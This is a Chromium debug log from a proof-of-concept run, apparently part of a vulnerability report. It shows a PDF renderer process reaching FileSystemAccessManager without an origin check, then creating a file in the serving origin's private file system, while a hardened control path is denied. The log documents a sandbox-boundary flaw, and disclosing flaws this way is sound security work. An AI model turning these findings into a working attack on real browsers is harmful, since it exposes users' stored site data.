[2106:2106:0528/141322.668708:ERROR:components/pdf/renderer/pdf_view_web_plugin_client.cc:81] [POC][renderer pid=2106] PdfViewWebPluginClient::SetPluginContainer reached -- PDF plugin instantiated inside is_pdf() process
[2106:2106:0528/141322.668872:ERROR:components/pdf/renderer/pdf_view_web_plugin_client.cc:326] [POC][renderer pid=2106] PDF content frame committed origin = http://127.0.0.1:8080/ (this process has ProcessLock.is_pdf()==true)
[2106:2106:0528/141322.668916:ERROR:components/pdf/renderer/pdf_view_web_plugin_client.cc:333] [POC][renderer] Binding blink.mojom.FileSystemAccessManager via BrowserInterfaceBroker...
[2106:2106:0528/141322.669020:ERROR:components/pdf/renderer/pdf_view_web_plugin_client.cc:343] [POC][renderer] Calling GetSandboxedFileSystem()...
[1965:1965:0528/141322.669119:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:15018] [POC][browser] GetFileSystemAccessManager: child_pid=2106 ProcessLock.is_pdf()=TRUE StorageKey.origin()=http://127.0.0.1:8080 last_committed_url=http://127.0.0.1:8080/test.pdf
[1965:1965:0528/141322.669152:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:15025] [POC][browser] *** is_pdf()==true process is binding FileSystemAccessManager -- no CanAccessDataForOrigin check is performed on this path ***
[2106:2106:0528/141322.683492:ERROR:components/pdf/renderer/pdf_view_web_plugin_client.cc:359] [POC][renderer] *** VULNERABILITY CONFIRMED *** GetSandboxedFileSystem() returned kOk with a live OPFS root directory handle to the PDF-serving origin's storage. IsAccessAllowedForPdfProcess(kCanAccessDataForCommittedOrigin) should have denied this but was never consulted.
[2106:2106:0528/141322.683655:ERROR:components/pdf/renderer/pdf_view_web_plugin_client.cc:369] [POC][renderer] Calling GetFile('pwned-by-pdf-renderer.txt', create=true) on the OPFS root...
[2106:2106:0528/141322.715386:ERROR:components/pdf/renderer/pdf_view_web_plugin_client.cc:386] [POC][renderer] *** GetFile(create=true) SUCCEEDED *** -- the compromised PDF renderer just CREATED a file in the serving origin's persistent Origin-Private File System. Full R/W (GetFile/GetDirectory/CreateFileWriter/Remove) is available.
[2106:2106:0528/141322.715508:ERROR:components/pdf/renderer/pdf_view_web_plugin_client.cc:398] [POC][renderer] CONTROL: now calling legacy FileSystemManager::Open(kTemporary) -- this hardened sibling SHOULD be denied with FSMI_OPEN_INVALID_ORIGIN...
[1965:1981:0528/141322.716070:ERROR:content/browser/renderer_host/render_process_host_impl.cc:6255] Terminating render process for bad Mojo message: Received bad user message: FSMI_OPEN_INVALID_ORIGIN
[1965:1981:0528/141322.716123:ERROR:content/browser/bad_message.cc:29] Terminating renderer for bad IPC message, reason 123